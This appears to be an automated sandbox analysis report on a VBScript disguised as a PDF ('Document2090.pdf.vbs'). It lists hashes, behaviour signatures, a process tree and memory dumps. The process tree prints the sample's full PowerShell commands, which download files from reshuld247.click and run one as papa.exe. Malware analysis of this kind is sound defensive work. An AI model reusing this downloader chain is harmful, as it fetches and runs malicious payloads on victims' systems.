4babca7c722f8a15f744e27075ddeb2d541940211bf945031e6cced27f60f4bd

General

Target

Document2090.pdf.vbs
Size

1.8MB
MD5

b073f7c42bf8b8211e442a15e1d25866
SHA1

056866c4061d69e963ac9c03934653ef68560164
SHA256

4babca7c722f8a15f744e27075ddeb2d541940211bf945031e6cced27f60f4bd
SHA512

7af699db05d9108d29c3dcbe3a4c21ff1320aa4b01936cb4708bfe2df1f36baefeacd0320aa2316d7a00779e31dbcc28b23c8057caa9192ed19411cd3e8ae4f5
SSDEEP

12:lphphphphphphphphphphphphphphphphphphphphphphphphphphphphphphphc:rAqrMJvObI60Ib/+jT

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3064	powershell.exe
2668	powershell.exe
2632	powershell.exe
2284	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	3064	powershell.exe
Token: SeDebugPrivilege	2668	powershell.exe
Token: SeDebugPrivilege	2632	powershell.exe
Token: SeDebugPrivilege	2284	powershell.exe

Suspicious use of WriteProcessMemory 12 IoCs

description	pid	Process	procid_target
PID 2228 wrote to memory of 3064	2228	WScript.exe	28
PID 2228 wrote to memory of 3064	2228	WScript.exe	28
PID 2228 wrote to memory of 3064	2228	WScript.exe	28
PID 3064 wrote to memory of 2668	3064	powershell.exe	30
PID 3064 wrote to memory of 2668	3064	powershell.exe	30
PID 3064 wrote to memory of 2668	3064	powershell.exe	30
PID 2668 wrote to memory of 2632	2668	powershell.exe	31
PID 2668 wrote to memory of 2632	2668	powershell.exe	31
PID 2668 wrote to memory of 2632	2668	powershell.exe	31
PID 2668 wrote to memory of 2284	2668	powershell.exe	34
PID 2668 wrote to memory of 2284	2668	powershell.exe	34
PID 2668 wrote to memory of 2284	2668	powershell.exe	34

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Document2090.pdf.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:2228
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $r = 'cd $env:TEMP;iwr https://reshuld247.click/protect.pdf -o pf.pdf;Start-Process pf.pdf;Start-Sleep 10;powershell iwr -Uri https://reshuld247.click/protect.msi -o try.msi;powershell iwr -Uri https://reshuld247.click/protect.dll -o papa.exe;Start-Process papa.exe';powershell $iex($r)
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3064
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "cd $env:TEMP;iwr https://reshuld247.click/protect.pdf -o pf.pdf;Start-Process pf.pdf;Start-Sleep 10;powershell iwr -Uri https://reshuld247.click/protect.msi -o try.msi;powershell iwr -Uri https://reshuld247.click/protect.dll -o papa.exe;Start-Process papa.exe"
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2668
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr -Uri https://reshuld247.click/protect.msi -o try.msi
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2632
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" iwr -Uri https://reshuld247.click/protect.dll -o papa.exe
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2284

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
573083ded8a9fbb26131dc9d1ce20bb3

SHA1
01d6b3409f681a5830b8c5e52de4cf7269ec8b7d

SHA256
6f052094a0d6332823aeb15aaff8212a11498a6df0755129afaa7a051844d445

SHA512
93b038aef82f07040b9213a6ffeaaac11c9755ed59416b2cff2f340573d508ebed32b3667378a2578ff659395e77e3139a02129c704b884755c81a838465c671

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
573083ded8a9fbb26131dc9d1ce20bb3

SHA1
01d6b3409f681a5830b8c5e52de4cf7269ec8b7d

SHA256
6f052094a0d6332823aeb15aaff8212a11498a6df0755129afaa7a051844d445

SHA512
93b038aef82f07040b9213a6ffeaaac11c9755ed59416b2cff2f340573d508ebed32b3667378a2578ff659395e77e3139a02129c704b884755c81a838465c671

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\590aee7bdd69b59b.customDestinations-ms

Filesize
7KB

MD5
573083ded8a9fbb26131dc9d1ce20bb3

SHA1
01d6b3409f681a5830b8c5e52de4cf7269ec8b7d

SHA256
6f052094a0d6332823aeb15aaff8212a11498a6df0755129afaa7a051844d445

SHA512
93b038aef82f07040b9213a6ffeaaac11c9755ed59416b2cff2f340573d508ebed32b3667378a2578ff659395e77e3139a02129c704b884755c81a838465c671

Download Submit
C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\Z1J3EYNPTRKCWNGWYUE1.temp

Filesize
7KB

MD5
573083ded8a9fbb26131dc9d1ce20bb3

SHA1
01d6b3409f681a5830b8c5e52de4cf7269ec8b7d

SHA256
6f052094a0d6332823aeb15aaff8212a11498a6df0755129afaa7a051844d445

SHA512
93b038aef82f07040b9213a6ffeaaac11c9755ed59416b2cff2f340573d508ebed32b3667378a2578ff659395e77e3139a02129c704b884755c81a838465c671

Download Submit
memory/2284-49-0x00000000023E0000-0x0000000002460000-memory.dmp

Filesize
512KB

Download
memory/2284-52-0x00000000023E0000-0x0000000002460000-memory.dmp

Filesize
512KB

Download
memory/2284-51-0x00000000023E0000-0x0000000002460000-memory.dmp

Filesize
512KB

Download
memory/2284-50-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2284-53-0x00000000023E0000-0x0000000002460000-memory.dmp

Filesize
512KB

Download
memory/2284-48-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2284-54-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2632-42-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2632-41-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2632-40-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2632-39-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2632-38-0x0000000002980000-0x0000000002A00000-memory.dmp

Filesize
512KB

Download
memory/2632-37-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2632-36-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2668-17-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2668-19-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2668-27-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2668-28-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2668-55-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2668-15-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2668-26-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/2668-16-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2668-21-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/2668-18-0x0000000002920000-0x00000000029A0000-memory.dmp

Filesize
512KB

Download
memory/3064-23-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/3064-20-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/3064-4-0x000000001B2B0000-0x000000001B592000-memory.dmp

Filesize
2.9MB

Download
memory/3064-22-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/3064-24-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/3064-14-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/3064-13-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/3064-12-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/3064-11-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download
memory/3064-5-0x0000000001F30000-0x0000000001F38000-memory.dmp

Filesize
32KB

Download
memory/3064-25-0x0000000002590000-0x0000000002610000-memory.dmp

Filesize
512KB

Download
memory/3064-56-0x000007FEF5E10000-0x000007FEF67AD000-memory.dmp

Filesize
9.6MB

Download

Analysis

Sharing